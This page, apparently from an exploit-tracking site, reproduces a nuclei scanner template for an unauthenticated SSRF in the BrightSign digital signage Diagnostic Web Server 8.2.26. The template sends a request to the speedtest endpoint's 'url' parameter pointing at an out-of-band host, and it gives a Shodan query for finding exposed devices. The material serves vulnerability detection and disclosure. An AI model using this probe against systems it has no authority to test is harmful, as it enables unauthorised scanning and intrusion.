brightsign-dsdws-ssrf: BrightSign Digital Signage Diagnostic Web Server 8.2.26 Unauthenticated - SSRF

2025-08-01 BrightSign Digital Signage Diagnostic Web Server 8.2.26 PoC Public

Description

Unauthenticated Server-Side Request Forgery (SSRF) vulnerability exists in the BrightSign digital signage media player affecting the Diagnostic Web Server (DWS). The application parses user supplied data in the 'url' GET parameter to construct a diagnostics request to the Download Speed Test service.

PoC

id: brightsign-dsdws-ssrf

info:
  name: BrightSign Digital Signage Diagnostic Web Server 8.2.26 Unauthenticated - SSRF
  author: 0x_Akoko
  severity: medium
  description: Unauthenticated Server-Side Request Forgery (SSRF) vulnerability exists in the BrightSign digital signage media player affecting the Diagnostic Web Server (DWS). The application parses user supplied data in the 'url' GET parameter to construct a diagnostics request to the Download Speed Test service.
  reference:
    - https://brightsign.zendesk.com/hc/en-us/articles/360056180694-Regarding-Advisory-ID-ZSL-2020-5595
    - https://www.zeroscience.mk/codes/brightsign_ssrf.txt
  classification:
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"BrightSign"
  tags: ssrf,brightsign,unauth,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/speedtest?url={{interactsh-url}}'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: dsl
        dsl:
          - 'contains(body_1, "Downloaded")'
# digest: 4a0a0047304502210095923d5c269527e2ed2c0198a37280e2f7b83b770513a3498196ec6d04378d0b02204385b3715d191ee96bb12238fe4f7a296f2c40815e07724e41c98ed163b377bc:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/brightsign-dsdws-ssrf.yaml

References

Related Vulnerabilities